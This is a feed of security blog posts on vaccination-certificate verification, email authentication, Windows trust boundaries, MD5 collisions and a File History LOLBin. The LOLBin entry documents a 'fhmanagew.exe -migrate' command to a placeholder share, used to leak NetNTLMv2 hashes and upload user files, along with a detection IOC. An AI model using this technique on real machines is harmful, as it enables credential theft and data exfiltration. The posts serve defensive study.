<p><img alt="image" src="//limbenjamin.com/media/printui.png"> </p>Exploring Singapore's Vaccination Cert2021-08-20T22:56:00+08:002021-08-20T22:56:00+08:00Benjamin Limtag:limbenjamin.com,2021-08-20:/articles/exploring-singapores-vaccination-cert.html<p>Upon completing my COVID vaccination, I was pleasantly surprised to receive a digitally signed vaccination certificate. Based on my <a href="https://limbenjamin.com/articles/singapore-gazette-search.html">previous experience</a>, I knew that getting a traditionally certified genuine chop stamp true copy of a certificate was not going to be cheap. A quick <a href="https://singaporelegaladvice.com/law-articles/notary-public-fees-singapore/">google search</a> shows that it costs …</p><p>Upon completing my COVID vaccination, I was pleasantly surprised to receive a digitally signed vaccination certificate. Based on my <a href="https://limbenjamin.com/articles/singapore-gazette-search.html">previous experience</a>, I knew that getting a traditionally certified genuine chop stamp true copy of a certificate was not going to be cheap. A quick <a href="https://singaporelegaladvice.com/law-articles/notary-public-fees-singapore/">google search</a> shows that it costs $10 to certify a one page document as a true copy, a further $75 for issuance of a notorial certificate and a further further $85.60 for the Singapore Academy of Law to authenticate the certified true copy, making the total cost a whopping $170.60. That is sure going to deter people from travelling, but fortunately we can now get it for free thanks to technology. </p>
<p>So, how does the digitally signed certificate work? The certificate, stored in a file extension ending in oa, is basically a JSON file. I do not recommend sharing that file as personal details such as birth date, IC number, passport number are stored unencrypted in the file. An encrypted copy of the certificate is also stored at <code>https://api-vaccine.storage.aws.notarise.gov.sg</code>. Based on code in the the <code>/dist/index.js</code> file of the <code>oa-encryption</code> library, the encryption algorithm appears to be <code>AES-GCM</code> with 256 bit key length, 96 bit IV and 128 bit tag length. Upon decryption, it appears that individual fields in certificate are stored separately. The field contains a uuid like string which is used as a salt, the data type and ends with the actual data. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>"name":[{
"text":"212aae69-512f-45f8-83df-52638cc7db7e:string:LIM BINJIE, BENJAMIN"}],
"gender":"62c839e9-87cf-4878-859c-4e2342cea026:string:male",
"country":"93d3e245-a2ac-4544-adff-f15e03615ce1:string:SG"}
"system":"15dfead2-5ea7-46cc-855e-1bf5b8ca791f:string:http://standards.ihis.com.sg"
...
</code></pre></div></td></tr></table></div>
<p>The actual hashing is done using the <code>keccak256</code> algorithm, which is very similar to SHA3 except for some changes to the padding. This operation is performed in the <code>/dist/cjs/2.0/digest.js</code> file of the <code>open-attestation</code> library. The data is flattened, hashed, sorted in alphabetical order and then it goes through hashing once again ending up as the <code>targetHash</code>. Continuing from my sample data above, we see the following fields and their corresponding hashes. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span></pre></div></td><td class="code"><div><pre><span></span><code># Hashing of individual fields
keccak256({"fhirBundle.entry.0.name.0.text":"212aae69-512f-45f8-83df-52638cc7db7e:string:LIM BINJIE, BENJAMIN"})
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170
keccak256({"fhirBundle.entry.0.gender":"62c839e9-87cf-4878-859c-4e2342cea026:string:male"})
136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98
keccak256({"fhirBundle.entry.1.address.country":"93d3e245-a2ac-4544-adff-f15e03615ce1:string:SG"})
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f
keccak256({"fhirBundle.entry.4.vaccineCode.coding.0.system":"15dfead2-5ea7-46cc-855e-1bf5b8ca791f:string:http://standards.ihis.com.sg"})
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e
# After sorting in alphabetical order
[136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98,
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170,
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e,
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f
...]
# Merkle root
keccak256([136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98,
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170,
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e,
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f
...])
32fe558b4beff554c35f1f2903fdc0c90784f541dbb0af0a32e390acd0caea8f
</code></pre></div></td></tr></table></div>
<p>Since the vaccination certificate is individually issued and not as a batch, the <code>targetHash</code> is same as the <code>merkleRoot</code>. The certificate has a field stating the verification method, which in this case is <code>did:ethr</code>. The verification appears to be done in <code>/dist/cfs/common/did/verifier.js</code> file of the <code>oa-verify</code> library. The provider appears to be <code>infura</code> and the rpc url is <code>https://mainnet.infura.io/v3/bb46da3f80e040e8ab73c0a9ff365d18</code>. It is interesting to note that GovTech hardcoded their Project Id into the library. The <code>ethers</code> library is used to arrayify the <code>merkelRoot</code> into a byte array which is used together with the signature to compute the ethereumAddress and check if it matches. Continuing from my sample data above, we see the following being performed. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span></pre></div></td><td class="code"><div><pre><span></span><code># merkleRoot
32fe558b4beff554c35f1f2903fdc0c90784f541dbb0af0a32e390acd0caea8f
# messageByte
Ethers.arrayify(merkleRoot)
[50,254,85,139,75,239,245,84,195,95,31,41,3,253,192,201,7,132,245,65,219,176,175,10,50,227,144,172,208,202,234,143]
# signature (from oa cert)
0x33d34f9dcbe668a63d9ff355912731a235a6fbba7bad1b84eb0393f86b8d75da1b6ac1ad31393862a00ea3bcb321654b0cc1ab7300518c4d38207cf4dd2c3c831b
# Check if computation of etherum address matches
Ethers.VerifyMessage(messageByte, signature) == ethereumAddress
0xa05e47618bf84101b032b300ab18fc11b90bd549 == 0xa05e47618bf84101b032b300ab18fc11b90bd549
</code></pre></div></td></tr></table></div>
<p>And there we have it. After going on a journey starting from the <code>open-attestation-cli</code> library all through the <code>oa-encryption, open-attestation, oa-verify</code> library, we have managed to trace the entire process from reading in the certificate to the final verification. At times, the sheer amount of boilerplate code gave me nightmares from the days of writing getters and setters in Java. Maybe one day, someone will write a simple <code>verify.py</code> that does it all in a single script. </p>SPF, DKIM, DMARC in a nutshell2021-07-23T23:09:00+08:002021-07-23T23:09:00+08:00Benjamin Limtag:limbenjamin.com,2021-07-23:/articles/spf-dkim-dmarc-in-a-nutshell.html<p>I have just learnt something new about how SPF and DMARC interact with each other and the unexpected behaviour that might result from it. I find that most articles tend to cover SPF and DMARC separately and hence I will attempt to document the interaction in this article. </p>
<p>Before we …</p><p>I have just learnt something new about how SPF and DMARC interact with each other and the unexpected behaviour that might result from it. I find that most articles tend to cover SPF and DMARC separately and hence I will attempt to document the interaction in this article. </p>
<p>Before we can proceed, here is a quick explanation of SPF, DKIM and DMARC. </p>
<p>SPF: SPF records specify which IP address is allowed to send out mail for that particular domain. You would set it to your mail server's public IP address. If you are using cloud based email service like O365, you will set it to include all O365's mail server's IP. Within the policy, you can specify how to treat emails coming from other IP addresses. There is neutral (<code>?all</code>), soft fail (<code>~all</code>) and hard fail (<code>-all</code>). Most notably, there is no guarantee on what actions would be taken, some mail providers may send soft fail emails to spam, others might reject soft fail emails. </p>
<p>DKIM: DKIM records allow the receiving mail server to verify the digital signature on the email. It is possible to bypass SPF checks by using a different sender recipient address in the envelope (<code>MAIL FROM:</code>) as compared to the email header (<code>FROM:</code>). Hence, the need for DKIM. Again, there is no guarantee on what actions would be taken on emails which fail DKIM verification, it differs depending on email provider. </p>
<p>DMARC: DMARC policy allows you to specify what actions should be taken on email that have failed SPF or DKIM. There is no action (<code>p=none</code>), quarantine (<code>p=quarantine</code>) and reject (<code>p=reject</code>). DMARC also allows you to specify an email address to receive reports on the number of emails that have failed. The most important thing to note, which is the unexpected behaviour I mentioned, is that DMARC will supercede SPF. If you have a hard fail set up on SPF but a no action policy configured on DMARC, the spoof email will still go through. Thus, do adequate research before setting up DMARC. A newly implemented weak DMARC policy might invalidate the protection that SPF records used to offer.</p>
<p>In summary, you can expect the following results if SPF/DKIM/DMARC is configured in this manner.</p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th>SPF</th>
<th>DKIM</th>
<th>DMARC</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>~all or -all</td>
<td></td>
<td></td>
<td>FROM spoof emails will be spammed or rejected<br />MAIL FROM: spoof emails will get through</td>
</tr>
<tr>
<td>~all or -all</td>
<td>Yes</td>
<td></td>
<td>All spoof emails will be spammed or rejected</td>
</tr>
<tr>
<td>~all or -all</td>
<td></td>
<td>(p=none)</td>
<td>All spoof emails will get through<br />Surprise! Weak policy</td>
</tr>
<tr>
<td>~all or -all</td>
<td>Yes</td>
<td>(p=none)</td>
<td>All spoof emails will get through<br />Surprise! Weak policy</td>
</tr>
<tr>
<td>~all or -all</td>
<td>Yes</td>
<td>(p=quarantine)</td>
<td>All spoof emails will be spammed</td>
</tr>
<tr>
<td>~all or -all</td>
<td>Yes</td>
<td>(p=reject)</td>
<td>All spoof emails will be rejected</td>
</tr>
</tbody>
</table>Infosec career progression2021-06-21T17:26:00+08:002021-06-21T17:26:00+08:00Benjamin Limtag:limbenjamin.com,2021-06-21:/articles/infosec-career-progression.html<p>What are the technical requirements to progress in your career in cybersecurity? How do you move from an entry level analyst position into a senior analyst position? </p>
<p>Starting from the defensive side of the house, an L1 SOC analyst usually starts with no experience in cybersecurity. The job role is …</p><p>What are the technical requirements to progress in your career in cybersecurity? How do you move from an entry level analyst position into a senior analyst position? </p>
<p>Starting from the defensive side of the house, an L1 SOC analyst usually starts with no experience in cybersecurity. The job role is very defined, analysts are usually allocated to look at either network security appliances, or host based artefacts. As such, analysts do not need much training before starting operational work. There are also usually playbooks with very clear step by step instructions for analysts to follow for each different type of alert that may be triggered. </p>
<p>To progress to an L2 position, you will need to broaden your knowledge. If you have been looking at network protocols, netflow and DNS data, now is the time to be introduced to processes, persistency mechanisms, integrity levels. Vice versa. It is important to understand the linkages between the different artefacts, i.e. what happens when processes open network connections, when processes make DNS queries? You would also need a deeper understanding of the various concepts such as detection, containment and recovery. This will allow you to look at the playbooks in a new light, you will be able to understand the rationale behind each of the step by step instructions that you have been taught to follow. This will prepare you for L2 work which is more unstructured. At times, certain artefacts might be unavailable or certain actions cannot be taken due to business reasons, as such, L2 analysts will need to find alternative means to achieve the goal of detection, containment or recovery. </p>
<p>Looking at the offensive side, junior penetration testers have a similarly defined job role. They are often tasked to run automated tools which spit out reports when the scans are completed. Similarly, they do not need much training before starting work. </p>
<p>To progress to a more senior role, you will first need to understand the findings in the automated report. What is the vulnerability and why is it considered a vulnerability? Next, you will need to be able to manually reproduce the exploit, which will further solidify your understanding. Lastly, it is important to look at the big picture and identify patterns in the vulnerabilities you find. Certain types of applications and certain features tend to be more prone to certain types of vulnerabilities. For example, the password field in the form may have a SQL injection vulnerability because all password input on any website needs to be compared to the correct password or hash in a database. However, it is almost impossible to find a cross site scripting (XSS) vulnerability in the password field because passwords are almost never ever displayed back to the user in plaintext. Such understanding will help you identify areas more prone to vulnerabilities where more manual effort can be focused to pick up on vulnerabilities not detected by automated tools. </p>
<p>In summary, senior level jobs often have more unstructured tasks which require experience and an understanding of concepts to guide you towards the next step to take. Often, there is no single correct answer and it will take quite a bit of brain cells to come up with an optimal decision. After all, this is why you are paid the big bucks right? If you are just following simple instructions blindly, the company would have saved money by hiring an entry level analyst to do the job. So, go out there and level up your knowledge. </p>Heroku build timeout 20212021-05-26T22:50:00+08:002021-05-26T22:50:00+08:00Benjamin Limtag:limbenjamin.com,2021-05-26:/articles/heroku-build-timeout-2021.html<p>If you have a Heroku app that has worked for many years and is suddenly experiencing a <code>Duplicate build version</code> error or if you are following an old tutorial from before 2021 and see the following cryptic error message in the build log.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code> !
! Build timed out while …</code></pre></div></td></tr></table></div><p>If you have a Heroku app that has worked for many years and is suddenly experiencing a <code>Duplicate build version</code> error or if you are following an old tutorial from before 2021 and see the following cryptic error message in the build log.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code> !
! Build timed out while waiting to start.
!
</code></pre></div></td></tr></table></div>
<p>Heroku has <a href="https://devcenter.heroku.com/articles/duplicate-build-version">recently updated</a> their default git branch name from <code>master</code> to <code>main</code>. As a result of Black Lives Matter, words like <code>master</code> and <code>slave</code> are no longer kosher even when used to describe objects. Simply run the following command to push code from your local repository to the new <code>main</code> branch.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>git push heroku master:main
</code></pre></div></td></tr></table></div>Windows Trust Boundaries2021-04-27T21:11:00+08:002021-04-27T21:11:00+08:00Benjamin Limtag:limbenjamin.com,2021-04-27:/articles/windows-trust-boundaries.html<p>Understanding Windows trust boundaries is important as a penetration tester as security vulnerabilities are usually found at these boundaries. As an application developer, understanding these boundaries will help you develop more secure applications. I have never found this information consolidated anywhere, hence this blogpost.</p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th></th>
<th>High …</th></tr></thead></table><p>Understanding Windows trust boundaries is important as a penetration tester as security vulnerabilities are usually found at these boundaries. As an application developer, understanding these boundaries will help you develop more secure applications. I have never found this information consolidated anywhere, hence this blogpost.</p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th></th>
<th>High Integrity (Admin)</th>
<th>Medium Integrity (User)</th>
<th>Low Integrity (Sandboxed)</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System</td>
<td>Program Files Directory<br />C:\Windows Directory</td>
<td>ProgramData Directory</td>
<td>AppData\Low Directory<br />Temp Internet Files Directory</td>
</tr>
<tr>
<td>Registry</td>
<td>HKLM hive</td>
<td>HKCU hive</td>
<td></td>
</tr>
<tr>
<td>Processes</td>
<td>Services/Scheduled Tasks</td>
<td>Scheduled Tasks</td>
<td></td>
</tr>
</tbody>
</table>
<p>This table is generally accurate, there are exceptions to the rule. Some services run under Network Service account, additionally specific applications may lock down their ProgramData folder and allow only High Integrity processes to access. Understanding this makes the hunt for vulnerabilities easier. If you see a process running in High Integrity accessing the ProgramData folder or the HKCU hive, there is an opportunity for vulnerabilities to exist. Likewise, if you can write to certain application's Program Files or subkeys in the HKLM hive as a Medium Integrity user, there is a similar opportunity. </p>
<p>The HKCR hive is a virtual hive that returns values from either HKLM or HKCU depending on the integrity level that the process is running under. This <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key?redirectedfrom=MSDN">article</a> provides more information. It is important to trace the registry key down to the actual HKLM/HKCU key to determine if there is an opportunity for vulnerabilities to exist. </p>
<p>Most people would only look for privilege escalation vulnerabilities, however an application denial of service vulnerability is also possible. If you are able to delete the file, lock the file or change permissions of the file as a Medium Integrity user, the High Integrity application might terminate or crash. </p>
<p>Certain classes of software are more susceptible to these vulnerabilities. Antivirus software has to run in High Integrity to terminate malicious processes. They also have to access files in Medium Integrity folders when scanning them for malicious contents. Printer software is another area of concern. The print Spooler runs as System Integrity while users are able to install printers and print stuff while in Medium Integrity. </p>0 reportable cybersecurity incidents2021-03-06T10:59:00+08:002021-03-06T10:59:00+08:00Benjamin Limtag:limbenjamin.com,2021-03-06:/articles/0-reportable-cybersecurity-incidents.html<p>At first glance, achieving 0 reportable cybersecurity incidents seem to be a commendable achievement. Other industries set similar KPIs, i.e. 0 workplace injuries. However, we must understand that this is extremely tough because we are facing an active adversary that is attacking constantly. Imagine if workplaces have to deal …</p><p>At first glance, achieving 0 reportable cybersecurity incidents seem to be a commendable achievement. Other industries set similar KPIs, i.e. 0 workplace injuries. However, we must understand that this is extremely tough because we are facing an active adversary that is attacking constantly. Imagine if workplaces have to deal with wear and tear, human mistakes and also saboteurs actively trying to damage equipment. </p>
<p>This is why the cybersecurity industry has moved towards a defense in depth approach, acknowledging that we cannot prevent 100% of incidents, aiming to minimise the time taken to detect and respond to an incident, rather than solely focusing on preventing incidents. In fact, large cybersecurity teams have incident managers and forensics specialists, whose full time role is to respond to an incident. To continue with the workplace analogy, this is akin to having safeguards and redundancies in every piece of equipment, and having medical personnel and vehicles on standby at the worksite to reduce response time. </p>
<p>In fact, I would even argue that 0 reportable cybersecurity incidents is a bad sign. It points to a severe lack in detection capability, if you cannot even see the attack happening, of course you stand no chance of blocking or responding to the attack. The other explanation is a cover up. Pressure from management to not report the incident might hide what appears to be a rotten core underneath a perfect security record. </p>LOLBin: fhmanagew.exe2021-01-26T20:34:00+08:002021-01-26T20:34:00+08:00Benjamin Limtag:limbenjamin.com,2021-01-26:/articles/lolbin-fhmanagew.html<p>File history is a backup solution built into Windows from Windows 8 onwards. Once enabled, previous versions of files in Documents, Music, Pictures, Videos, Desktop and OneDrive folder will automatically be copied onto a backup drive. </p>
<p>The File History Management Tool (fhmanagew.exe) is a Living Off The Land Binary …</p><p>File history is a backup solution built into Windows from Windows 8 onwards. Once enabled, previous versions of files in Documents, Music, Pictures, Videos, Desktop and OneDrive folder will automatically be copied onto a backup drive. </p>
<p>The File History Management Tool (fhmanagew.exe) is a Living Off The Land Binary (LOLBin) that can be used by attackers to steal credentials and exfiltrate files. Once File History is enabled, the attacker can use the fhmanagew.exe to migrate the backup location to an attacker controlled share, Windows will automatically attempt to authenticate using the current user's account and upload files at regular intervals. </p>
<p>To enable File history from command line, the following sample <a href="https://github.com/microsoft/Windows-driver-samples/tree/master/general/filehistory">source code</a> provided by Microsoft can be used. I have compiled it and the binary can be downloaded <a href="https://limbenjamin.com/files/bin/fhsetup.exe">here</a>. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span></pre></div></td><td class="code"><div><pre><span></span><code>---
Name: fhmanagew.exe
Description: File History Management Tool
Author: Benjamin Lim
Created: 26 Jan 2021
Commands:
- Command: fhmanagew.exe -migrate \\1.2.3.4\share
Description: Migrates the File History backup location to a remote drive.
Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process. Prerequisite: File Backup must be set up.
Category: Credentials
Privileges: User
MitreID: T1187
MitreLink: https://attack.mitre.org/techniques/T1187/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
- Command: fhmanagew.exe -backupnow
Description: Triggers the start of the File History backup process.
Usecase: After migrating backup location to attacker controlled share, upload files from Documents, Music, Pictures, Videos, Desktop and OneDrive folder to new backup location.
Category: Upload
Privileges: User
MitreID: T1567.002
MitreLink: https://attack.mitre.org/techniques/T1567/002/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: c:\windows\system32\fhmanagew.exe
Detection:
- IOC: SMB traffic from PID 4 to Internet destination
Resources:
- Link: https://limbenjamin.com/articles/lolbin-fhmanagew.html
Acknowledgement:
- Person: Benjamin Lim
Handle: @limbenjamincom
---
</code></pre></div></td></tr></table></div>
<p><img alt="image" src="//limbenjamin.com/media/fhmanagew.png"></p>Fun with MD5 Collisions2020-12-31T13:24:00+08:002020-12-31T13:24:00+08:00Benjamin Limtag:limbenjamin.com,2020-12-31:/articles/fun-with-md5-collisions.html<p>We all know about MD5 hash collisions but I have never imagined that so much progress has been made. Meaningful hash collisions can now be computed on desktop grade hardware. The below collision was computed using <a href="https://github.com/corkami/collisions#unicoll-md5">unicoll</a> on an i3 desktop in under 30 minutes. Position of byte differences have …</p><p>We all know about MD5 hash collisions but I have never imagined that so much progress has been made. Meaningful hash collisions can now be computed on desktop grade hardware. The below collision was computed using <a href="https://github.com/corkami/collisions#unicoll-md5">unicoll</a> on an i3 desktop in under 30 minutes. Position of byte differences have been marked using <code>"</code>. Thanks to SANS Holiday Hack 2020 for introducing this subject at an approachable level. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span></pre></div></td><td class="code"><div><pre><span></span><code>$<span class="w"> </span>strings<span class="w"> </span>collision1.bin<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span>
I,<span class="w"> </span>Benjamin<span class="w"> </span>Lim,<span class="w"> </span><span class="k">in</span><span class="w"> </span>my<span class="w"> </span>lifetime,<span class="w"> </span>confess<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>murder<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>total<span class="w"> </span>no.<span class="w"> </span>of<span class="w"> </span><span class="m">0</span><span class="w"> </span>people/person.
$<span class="w"> </span>strings<span class="w"> </span>collision2.bin<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span>
I,<span class="w"> </span>Benjamin<span class="w"> </span>Lim,<span class="w"> </span><span class="k">in</span><span class="w"> </span>my<span class="w"> </span>lifetime,<span class="w"> </span>confess<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>murder<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>total<span class="w"> </span>no.<span class="w"> </span>of<span class="w"> </span><span class="m">1</span><span class="w"> </span>people/person.
$<span class="w"> </span>md5sum<span class="w"> </span>collision*
f3f2f56ac8fbf44e1c326c19a93fe61c<span class="w"> </span>collision1.bin
f3f2f56ac8fbf44e1c326c19a93fe61c<span class="w"> </span>collision2.bin
$<span class="w"> </span><span class="c1"># MD5 is truly dead!</span>
$<span class="w"> </span>xxd<span class="w"> </span>collision1.bin
<span class="m">00000000</span>:<span class="w"> </span>492c<span class="w"> </span><span class="m">2042</span><span class="w"> </span>656e<span class="w"> </span>6a61<span class="w"> </span>6d69<span class="w"> </span>6e20<span class="w"> </span>4c69<span class="w"> </span>6d2c<span class="w"> </span>I,<span class="w"> </span>Benjamin<span class="w"> </span>Lim,
<span class="m">00000010</span>:<span class="w"> </span><span class="m">2069</span><span class="w"> </span>6e20<span class="w"> </span>6d79<span class="w"> </span>206c<span class="w"> </span><span class="m">6966</span><span class="w"> </span><span class="m">6574</span><span class="w"> </span>696d<span class="w"> </span>652c<span class="w"> </span><span class="k">in</span><span class="w"> </span>my<span class="w"> </span>lifetime,
<span class="m">00000020</span>:<span class="w"> </span><span class="m">2063</span><span class="w"> </span>6f6e<span class="w"> </span><span class="m">6665</span><span class="w"> </span><span class="m">7373</span><span class="w"> </span><span class="m">2074</span><span class="w"> </span>6f20<span class="w"> </span><span class="m">7468</span><span class="w"> </span><span class="m">6520</span><span class="w"> </span>confess<span class="w"> </span>to<span class="w"> </span>the
<span class="m">00000030</span>:<span class="w"> </span>6d75<span class="w"> </span><span class="m">7264</span><span class="w"> </span><span class="m">6572</span><span class="w"> </span>206f<span class="w"> </span><span class="m">6620</span><span class="w"> </span><span class="m">6120</span><span class="w"> </span>746f<span class="w"> </span><span class="m">7461</span><span class="w"> </span>murder<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>tota
<span class="m">00000040</span>:<span class="w"> </span>6c20<span class="w"> </span>6e6f<span class="w"> </span>2e20<span class="w"> </span>6f66<span class="s2">"2030"</span><span class="m">2070</span><span class="w"> </span>656f<span class="w"> </span>706c<span class="w"> </span>l<span class="w"> </span>no.<span class="w"> </span>of<span class="w"> </span><span class="m">0</span><span class="w"> </span>peopl
<span class="m">00000050</span>:<span class="w"> </span>652f<span class="w"> </span><span class="m">7065</span><span class="w"> </span><span class="m">7273</span><span class="w"> </span>6f6e<span class="w"> </span>2e00<span class="w"> </span><span class="m">0000</span><span class="w"> </span>6bdd<span class="w"> </span><span class="m">3173</span><span class="w"> </span>e/person....k.1s
<span class="m">00000060</span>:<span class="w"> </span>deb5<span class="w"> </span>ffc3<span class="w"> </span>9acc<span class="w"> </span>f17c<span class="w"> </span>2ce2<span class="w"> </span><span class="m">2479</span><span class="w"> </span>cdca<span class="w"> </span>af68<span class="w"> </span>.......<span class="p">|</span>,.<span class="nv">$y</span>...h
<span class="m">00000070</span>:<span class="w"> </span>14a7<span class="w"> </span>ec3f<span class="w"> </span>4c02<span class="w"> </span>e12b<span class="w"> </span><span class="m">1431</span><span class="w"> </span>426d<span class="w"> </span>262d<span class="w"> </span>6bf8<span class="w"> </span>...?L..+.1Bm<span class="p">&</span>-k.
<span class="m">00000080</span>:<span class="w"> </span>c065<span class="w"> </span>0ec7<span class="w"> </span>c95d<span class="w"> </span><span class="m">6242</span><span class="s2">"0f03"</span>d406<span class="w"> </span>aa38<span class="w"> </span>d395<span class="w"> </span>.e...<span class="o">]</span>bB.....8..
<span class="m">00000090</span>:<span class="w"> </span>51ea<span class="w"> </span>fedf<span class="w"> </span>a78c<span class="w"> </span>b650<span class="w"> </span>7a48<span class="w"> </span>da5e<span class="w"> </span>3f3e<span class="w"> </span>c2b5<span class="w"> </span>Q......PzH.^?>..
000000a0:<span class="w"> </span>7db7<span class="w"> </span><span class="m">8087</span><span class="w"> </span><span class="m">6312</span><span class="w"> </span>a0f8<span class="w"> </span>036f<span class="w"> </span>e1d6<span class="w"> </span>f50e<span class="w"> </span>6e99<span class="w"> </span><span class="o">}</span>...c....o....n.
000000b0:<span class="w"> </span>f315<span class="w"> </span><span class="m">2240</span><span class="w"> </span>c9a2<span class="w"> </span>0d77<span class="w"> </span><span class="m">4943</span><span class="w"> </span>558b<span class="w"> </span>15c7<span class="w"> </span><span class="m">6440</span><span class="w"> </span>..<span class="s2">"@...wICU...d@</span>
$<span class="s2"> xxd collision2.bin</span>
<span class="s2">00000000: 492c 2042 656e 6a61 6d69 6e20 4c69 6d2c I, Benjamin Lim,</span>
<span class="s2">00000010: 2069 6e20 6d79 206c 6966 6574 696d 652c in my lifetime,</span>
<span class="s2">00000020: 2063 6f6e 6665 7373 2074 6f20 7468 6520 confess to the</span>
<span class="s2">00000030: 6d75 7264 6572 206f 6620 6120 746f 7461 murder of a tota</span>
<span class="s2">00000040: 6c20 6e6f 2e20 6f66"</span><span class="m">2031</span><span class="s2">"2070 656f 706c l no. of 1 peopl</span>
<span class="s2">00000050: 652f 7065 7273 6f6e 2e00 0000 6bdd 3173 e/person....k.1s</span>
<span class="s2">00000060: deb5 ffc3 9acc f17c 2ce2 2479 cdca af68 .......|,.</span><span class="nv">$y</span><span class="s2">...h</span>
<span class="s2">00000070: 14a7 ec3f 4c02 e12b 1431 426d 262d 6bf8 ...?L..+.1Bm&-k.</span>
<span class="s2">00000080: c065 0ec7 c95d 6242"</span>0f02<span class="s2">"d406 aa38 d395 .e...]bB.....8..</span>
